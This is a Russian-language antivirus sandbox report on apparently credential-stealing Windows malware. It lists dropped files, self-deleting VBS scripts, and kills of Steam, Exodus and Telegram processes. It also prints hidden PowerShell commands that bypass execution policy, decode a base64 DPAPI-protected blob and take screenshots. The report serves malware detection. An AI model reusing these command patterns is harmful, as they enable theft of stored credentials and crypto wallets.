Техническая информация
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /IM Steam.exe /F
- '<SYSTEM32>\taskkill.exe' /IM javaw.exe /F
- '<SYSTEM32>\taskkill.exe' /IM Exodus.exe /F
- '<SYSTEM32>\taskkill.exe' /IM Telegram.exe /F
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\rarsfx0\app.exe
- %TEMP%\rarsfx0\81993.jpg
- %TEMP%\_nxs_1772085998537.vbs
- %TEMP%\content\1684-5000-cscript.exe-22-06-39-312.dump
- %TEMP%\.nxs_4261008f297f15e76348c0d5906e77ba.lock
- %APPDATA%\windowssystemservice\config.json
- %APPDATA%\windowssystemservice\logs\service.log
- %TEMP%\systemservice_readme.txt
- %TEMP%\version.txt
- %TEMP%\system_check_1772086014300.vbs
- nul
Удаляет файлы, которые сам же создал
- %TEMP%\_nxs_1772085998537.vbs
- %TEMP%\system_check_1772086014300.vbs
- %TEMP%\.nxs_4261008f297f15e76348c0d5906e77ba.lock
Сетевая активность
UDP
- DNS ASK google.com
- DNS ASK cl###flare.com
- DNS ASK gl####cdn.nuget.org
- DNS ASK pt#.#iscord.com
Другое
Ищет следующие окна
- ClassName: 'Edit' WindowName: ''
- ClassName: 'NarratorUIClass' WindowName: ''
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\rarsfx0\app.exe'
- '<SYSTEM32>\cscript.exe' //nologo //B "%TEMP%\_nxs_1772085998537.vbs"
- '%TEMP%\rarsfx0\app.exe' "C:\\snapshot\\Xeno\\teste\\node_modules\\consolelofy\\index.js" --_h
- '<SYSTEM32>\cscript.exe' //nologo //B "%TEMP%\system_check_1772086014300.vbs"
Запускает на исполнение
- '<SYSTEM32>\svchost.exe' -k appmodel -p -s camsvc
- '<SYSTEM32>\cmd.exe' /d /s /c "cscript //nologo //B "%TEMP%\_nxs_1772085998537.vbs"" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "cscript //nologo //B "%TEMP%\system_check_1772086014300.vbs"" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4fGQGhAA... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4fGQGhAAAAAKAAAARQBkAGcAZQAAA...
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /IM Steam.exe /F" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /IM javaw.exe /F" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /IM Exodus.exe /F" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::Primar... (со скрытым окном)
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitm...
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /IM Telegram.exe /F" (со скрытым окном)
- '%TEMP%\rarsfx0\app.exe' "C:\\snapshot\\Xeno\\teste\\node_modules\\consolelofy\\index.js" --_h (со скрытым окном)
